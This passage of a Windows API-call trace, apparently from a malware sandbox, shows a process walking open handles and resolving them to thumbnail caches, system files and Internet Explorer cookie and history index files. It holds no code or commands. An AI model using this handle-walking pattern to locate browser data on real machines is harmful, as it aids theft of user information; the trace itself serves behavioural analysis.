dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\Public\\Desktop") returned 0x1b [0058.197] CloseHandle (hObject=0x128) returned 1 [0058.197] GetFileType (hFile=0xc4) returned 0x1 [0058.197] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 0x46 [0058.199] CloseHandle (hObject=0xc4) returned 1 [0058.200] GetFileType (hFile=0x128) returned 0x1 [0058.200] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 0x46 [0058.202] CloseHandle (hObject=0x128) returned 1 [0058.202] GetFileType (hFile=0xc4) returned 0x1 [0058.202] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0058.204] CloseHandle (hObject=0xc4) returned 1 [0058.205] GetFileType (hFile=0x128) returned 0x1 [0058.205] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0058.207] CloseHandle (hObject=0x128) returned 1 [0058.207] GetFileType (hFile=0xc4) returned 0x1 [0058.207] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0058.209] CloseHandle (hObject=0xc4) returned 1 [0058.209] GetFileType (hFile=0x128) returned 0x1 [0058.209] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0058.211] CloseHandle (hObject=0x128) returned 1 [0058.212] GetFileType (hFile=0xc4) returned 0x1 [0058.212] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0058.214] CloseHandle (hObject=0xc4) returned 1 [0058.214] GetFileType (hFile=0x128) returned 0x1 [0058.214] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0058.216] CloseHandle (hObject=0x128) returned 1 [0058.217] GetFileType (hFile=0xc4) returned 0x1 [0058.217] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0058.219] CloseHandle (hObject=0xc4) returned 1 [0058.219] GetFileType (hFile=0x128) returned 0x1 [0058.219] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0058.221] CloseHandle (hObject=0x128) returned 1 [0058.221] GetFileType (hFile=0xc4) returned 0x1 [0058.221] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0058.224] CloseHandle (hObject=0xc4) returned 1 [0058.224] GetFileType (hFile=0x128) returned 0x1 [0058.224] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\wdmaud.drv.mui") returned 0x2c [0058.265] CloseHandle (hObject=0x128) returned 1 [0058.265] GetFileType (hFile=0xc4) returned 0x1 [0058.265] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\MMDevAPI.dll.mui") returned 0x2e [0058.312] CloseHandle (hObject=0xc4) returned 1 [0058.312] GetFileType (hFile=0x128) returned 0x1 [0058.312] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\bthprops.cpl.mui") returned 0x2e [0058.421] CloseHandle (hObject=0x128) returned 1 [0058.421] GetFileType (hFile=0xc4) returned 0x1 [0058.421] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0058.423] CloseHandle (hObject=0xc4) returned 1 [0058.423] GetFileType (hFile=0x128) returned 0x1 [0058.423] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0058.425] CloseHandle (hObject=0x128) returned 1 [0058.425] GetFileType (hFile=0xc4) returned 0x1 [0058.425] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msutb.dll.mui") returned 0x2b [0058.624] CloseHandle (hObject=0xc4) returned 1 [0058.625] GetFileType (hFile=0x128) returned 0x1 [0058.625] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msctf.dll.mui") returned 0x2b [0058.627] CloseHandle (hObject=0x128) returned 1 [0058.627] GetFileType (hFile=0xc4) returned 0x1 [0058.627] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0058.630] CloseHandle (hObject=0xc4) returned 1 [0058.630] GetFileType (hFile=0x128) returned 0x1 [0058.630] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0058.632] CloseHandle (hObject=0x128) returned 1 [0058.632] GetFileType (hFile=0xc4) returned 0x1 [0058.632] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0058.634] CloseHandle (hObject=0xc4) returned 1 [0058.634] GetFileType (hFile=0x128) returned 0x1 [0058.634] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0058.636] CloseHandle (hObject=0x128) returned 1 [0058.636] GetFileType (hFile=0xc4) returned 0x1 [0058.636] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0058.687] CloseHandle (hObject=0xc4) returned 1 [0058.687] GetFileType (hFile=0x128) returned 0x1 [0058.687] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0058.689] CloseHandle (hObject=0x128) returned 1 [0058.689] GetFileType (hFile=0xc4) returned 0x1 [0058.690] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0058.692] CloseHandle (hObject=0xc4) returned 1 [0058.692] GetFileType (hFile=0x128) returned 0x1 [0058.692] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0058.694] CloseHandle (hObject=0x128) returned 1 [0058.694] GetFileType (hFile=0xc4) returned 0x1 [0058.695] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0058.697] CloseHandle (hObject=0xc4) returned 1 [0058.697] GetFileType (hFile=0x128) returned 0x1 [0058.697] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0058.699] CloseHandle (hObject=0x128) returned 1 [0058.699] GetFileType (hFile=0xc4) returned 0x1 [0058.699] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0058.702] CloseHandle (hObject=0xc4) returned 1 [0058.702] GetFileType (hFile=0x128) returned 0x1 [0058.702] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0058.704] CloseHandle (hObject=0x128) returned 1 [0058.705] GetFileType (hFile=0xc4) returned 0x0 [0058.705] CloseHandle (hObject=0xc4) returned 1 [0058.705] GetFileType (hFile=0x128) returned 0x1 [0058.705] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0058.706] CloseHandle (hObject=0x128) returned 1 [0058.707] GetFileType (hFile=0xc4) returned 0x1 [0058.707] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 0x55 [0058.708] CloseHandle (hObject=0xc4) returned 1 [0058.709] GetFileType (hFile=0x128) returned 0x1 [0058.709] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 0x55 [0058.711] CloseHandle (hObject=0x128) returned 1 [0058.711] GetFileType (hFile=0xc4) returned 0x1 [0058.711] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0058.713] CloseHandle (hObject=0xc4) returned 1 [0058.713] GetFileType (hFile=0x128) returned 0x1 [0058.713] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\netshell.dll.mui") returned 0x2e [0059.023] CloseHandle (hObject=0x128) returned 1 [0059.024] GetFileType (hFile=0xc4) returned 0x1 [0059.024] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0059.028] CloseHandle (hObject=0xc4) returned 1 [0059.028] GetFileType (hFile=0x128) returned 0x1 [0059.028] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0059.030] CloseHandle (hObject=0x128) returned 1 [0059.031] GetFileType (hFile=0xc4) returned 0x0 [0059.031] CloseHandle (hObject=0xc4) returned 1 [0059.031] GetFileType (hFile=0x128) returned 0x1 [0059.031] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0059.033] CloseHandle (hObject=0x128) returned 1 [0059.033] GetFileType (hFile=0xc4) returned 0x1 [0059.033] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\KernelBase.dll.mui") returned 0x30 [0059.036] CloseHandle (hObject=0xc4) returned 1 [0059.036] GetFileType (hFile=0x128) returned 0x1 [0059.036] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0059.038] CloseHandle (hObject=0x128) returned 1 [0059.038] GetFileType (hFile=0xc4) returned 0x1 [0059.038] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0059.039] CloseHandle (hObject=0xc4) returned 1 [0059.039] GetFileType (hFile=0x128) returned 0x1 [0059.040] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0059.041] CloseHandle (hObject=0x128) returned 1 [0059.041] GetFileType (hFile=0xc4) returned 0x1 [0059.041] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0059.042] CloseHandle (hObject=0xc4) returned 1 [0059.173] GetFileType (hFile=0x128) returned 0x1 [0059.173] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0059.175] CloseHandle (hObject=0x128) returned 1 [0059.175] GetFileType (hFile=0xc4) returned 0x1 [0059.175] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251") returned 0x64 [0059.176] CloseHandle (hObject=0xc4) returned 1 [0059.177] GetFileType (hFile=0x128) returned 0x1 [0059.177] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt") returned 0x4b [0059.180] CloseHandle (hObject=0x128) returned 1 [0059.180] GetFileType (hFile=0xc4) returned 0x1 [0059.180] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0059.181] CloseHandle (hObject=0xc4) returned 1 [0059.182] GetFileType (hFile=0x128) returned 0x1 [0059.182] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat") returned 0x70 [0059.185] CloseHandle (hObject=0x128) returned 1 [0059.185] GetFileType (hFile=0xc4) returned 0x1 [0059.185] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0059.187] CloseHandle (hObject=0xc4) returned 1 [0059.187] GetFileType (hFile=0x128) returned 0x3 [0059.187] CloseHandle (hObject=0x128) returned 1 [0059.187] GetFileType (hFile=0xc4) returned 0x3 [0059.188] CloseHandle (hObject=0xc4) returned 1 [0059.188] GetFileType (hFile=0x128) returned 0x1 [0059.188] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0059.190] CloseHandle (hObject=0x128) returned 1 [0059.190] GetFileType (hFile=0xc4) returned 0x1 [0059.190] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0059.192] CloseHandle (hObject=0xc4) returned 1 [0059.192] GetFileType (hFile=0x128) returned 0x1 [0059.192] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0059.194] CloseHandle (hObject=0x128) returned 1 [0059.194] GetFileType (hFile=0xc4) returned 0x1 [0059.195] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0059.197] CloseHandle (hObject=0xc4) returned 1 [0059.197] GetFileType (hFile=0x128) returned 0x1 [0059.197] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0059.199] CloseHandle (hObject=0x128) returned 1 [0059.199] GetFileType (hFile=0xc4) returned 0x1 [0059.199] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0059.201] CloseHandle (hObject=0xc4) returned 1 [0059.202] GetFileType (hFile=0x128) returned 0x1 [0059.202] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0059.204] CloseHandle (hObject=0x128) returned 1 [0059.204] GetFileType (hFile=0xc4) returned 0x1 [0059.204] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0059.206] CloseHandle (hObject=0xc4) returned 1 [0059.206] GetFileType (hFile=0x128) returned 0x1 [0059.206] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0059.208] CloseHandle (hObject=0x128) returned 1 [0059.208] GetFileType (hFile=0xc4) returned 0x1 [0059.208] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0059.210] CloseHandle (hObject=0xc4) returned 1 [0059.210] GetFileType (hFile=0x128) returned 0x1 [0059.211] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0059.212] CloseHandle (hObject=0x128) returned 1 [0059.213] GetFileType (hFile=0xc4) returned 0x3 [0059.213] CloseHandle (hObject=0xc4) returned 1 [0059.213] GetFileType (hFile=0x128) returned 0x1 [0059.213] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0059.263] CloseHandle (hObject=0x128) returned 1 [0059.263] GetFileType (hFile=0xc4) returned 0x1 [0059.263] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat") returned 0x55 [0059.266] CloseHandle (hObject=0xc4) returned 1 [0059.266] GetFileType (hFile=0x128) returned 0x1 [0059.267] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat") returned 0x5f [0059.269] CloseHandle (hObject=0x128) returned 1 [0059.269] GetFileType (hFile=0xc4) returned 0x1 [0059.270] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012020022120200222\\index.dat") returned 0x78 [0059.272] CloseHandle (hObject=0xc4) returned 1 [0059.273] GetFileType (hFile=0x128) returned 0x1 [0059.273] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0059.274] CloseHandle (hObject=0x128) returned 1 [0059.274] GetFileType (hFile=0xc4) returned 0x0 [0059.275] CloseHandle (hObject=0xc4) returned 1 [0059.275] GetFileType (hFile=0x128) returned 0x0 [0059.275] CloseHandle (hObject=0x128) returned 1 [0059.275] GetFileType (hFile=0xc4) returned 0x1 [0059.275] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\KernelBase.dll.mui") returned 0x30 [0059.277] CloseHandle (hObject=0xc4) returned 1 [0059.277] GetFileType (hFile=0x128) returned 0x1 [0059.278] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msutb.dll.mui") returned 0x2b [0059.279] CloseHandle (hObject=0x128) returned 1 [0059.279] GetFileType (hFile=0xc4) returned 0x3 [0059.279] CloseHandle (hObject=0xc4) returned 1 [0059.280] GetFileType (hFile=0x128) returned 0x1 [0059.280] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0059.281] CloseHandle (hObject=0x128) returned 1 [0059.281] GetFileType (hFile=0xc4) returned 0x0 [0059.281] CloseHandle (hObject=0xc4) returned 1 [0059.282] GetFileType (hFile=0x128) returned 0x1 [0059.282] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.283] CloseHandle (hObject=0x128) returned 1 [0059.283] GetFileType (hFile=0xc4) returned 0x1 [0059.283] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Journal") returned 0x24 [0059.284] CloseHandle (hObject=0xc4) returned 1 [0059.284] GetFileType (hFile=0x128) returned 0x1 [0059.285] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.286] CloseHandle (hObject=0x128) returned 1 [0059.286] GetFileType (hFile=0xc4) returned 0x1 [0059.286] GetFinalPathNameByHandleW (in: hFile=0xc4, 